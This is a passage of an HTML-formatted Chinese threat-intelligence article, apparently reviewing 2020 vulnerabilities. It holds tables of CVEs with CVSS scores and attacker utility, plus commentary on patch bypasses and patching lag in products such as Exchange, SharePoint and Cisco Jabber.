style="font-family:Arial,sans-serif;color:#595959;">9.1</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">File enumeration</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-2021</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Palo Alto Networks PAN-OS SAML Authentication Bypass  and Remote Code Execution</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value Target</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14500</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Secomea GateManager Unauthenticated Remote Code  Execution</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value Target</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-26085</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco Jabber Remote Code Execution Patch Bypass</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.9</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3495</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco Jabber XHTML-IM XSS &amp; Remote Code Execution</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.9</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17008</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">splWOW64 Elevation of Privilege Patch Bypass</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">TBD</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0609</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Remote Desktop Gateway Remote Code Execution  &#34;BlueGate&#34;</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1170</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Defender Local Privilege Escalation</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1337</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Print Spooler Service Arbitrary File Write  &#34;PrintDemon&#34; Patch Bypass #1</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-6926</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">HP Device Manager Remote Method Invocation/Backdoor  Database User</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.9</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / Java</span></p></td></tr><tr><td width="202" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17132</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Microsoft Exchange Server DLP Policy Remote Code  Execution Patch Bypass</span></p></td><td width="51" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.4</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="89" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="94" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr></tbody></table><p><span style="font-size: 15px;">该表中“可利用exploit”的引用都表示Metasploit模块，这些模块已经过成熟的开发和测试，以便在各种平台上兼容。Metasploit并不是功能上唯一成熟的可利用工具包——例如，在Impacket上构建的Zerologon漏洞，在它被移植到Metasploit框架之前就已经达到了可利用漏洞的标准。同样，“高价值目标（high-value target）”是一个主观的术语，介于我们列出产品的使用率的高低，这应该是一个容易被大家接受的术语。“广泛可用的技术细节（Technical details widelyavailable）”指的是可以识别、触发和(经常)利用有关漏洞深入且公开的信息。技术细节通常包括概念验证代码或演示。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">当一个对攻击者来说有显著价值的产品出现漏洞，并且最近有相应的攻击历史存在时，即使没有证据表明在野生环境下的攻击是成功的，但我们也有理由认为威胁三角的“意图”一角是存在的。这一原则最好的例子莫过于Microsoft Exchange和SharePoint漏洞，其中三个是显著的紧急威胁（SharePoint CVE-2020-16952和Exchange CVE2020-16875和2020-17132）。近年来，这两种产品一直是零日研究、漏洞开发和野生攻击的头号目标，其实这并不奇怪，毕竟Exchange和SharePoint环境中的漏洞可能会导致全面接管Active Directory。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">“我们认为Microsoft Exchange和SharePoint中的CVE是最紧急的威胁候选对象，无论其是否已经发布了利用代码”</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">遗憾的是，其修补程序的速度依然相对滞后，详情如下图：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.592057761732852" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=6035c734&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWpjo9JmxibQmowqtjAWRIDXpQtF4qEZOSlYeb8oA1nbh6e2pa2qvAg3jVY5PWiaHw6kf53QvVxBE9Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">这一组中还有一些cve对于潜在的攻击者来说非常重要，例如:HP Device Manager CVE-2020-6926和VMwarevCenter Server CVE-2020-3952它们分别是Windows thin客户端管理软件和虚拟化基础设施管理软件中的严重漏洞。通过利用这些漏洞，攻击者不仅可以访问目标软件本身，还可以访问该软件管理的所有子资产。其中SaltStack Salt CVE 2020-16846和2020-25592也是严重漏洞，如果将它们结合在一起时，未经验证的远程攻击者就会有机会获得对目标系统根的访问权限，并对网络基础设施进行破坏性攻击。</span><span style="color: rgb(0, 0, 0);font-size: 15px;">最后，为了避免我们忘记Cisco的Jabber即时消息平台现在还处于“服役”状态，CVE-2020-3495为本地攻击者提供了可用于蠕虫公司网络的半数攻击链。</span></p><p><br/></p><h3><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">第一次/第二次/第三次：补丁绕过</span></strong></span></h3><p><span style="font-size: 15px;">2020年出现补丁绕过的CVES：</span></p><table cellspacing="0" cellpadding="0" width="555"><tbody><tr><td width="171" style="border-width: 1px;border-style: solid;border-color: windowtext;background: rgb(33, 179, 205);padding: 0.1px;"><p style="text-align:left;"><strong><span style="font-family:Arial,sans-serif;color:white;">CVE</span></strong></p></td><td width="56" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">CVSS v3</span></strong></p></td><td width="122" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Threat Status</span></strong></p></td><td width="86" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Attacker Utility</span></strong></p></td><td width="120" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Vulnerability Class</span></strong></p></td></tr><tr><td width="171" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3950</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware Fusion Local Privilege Escalation (Incomplete  Patch)</span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploit  Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="171" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-26085</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco Jabber Remote Code Execution Patch Bypass</span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.9</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="171" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1170</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Defender Local Privilege Escalation</span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="171" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17008</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">splWOW64 Elevation of Privilege Patch Bypass</span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">TBD</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="171" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1337</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Print Spooler Service Arbitrary File Write  &#34;PrintDemon&#34; Patch Bypass #1</span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="171" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17132</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Microsoft Exchange Server DLP Policy Remote Code  Execution Patch Bypass</span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.4</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="171" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3992</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware ESXi OpenSLP Use-After-Free Remote Code  Execution (Incomplete Patch)</span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: 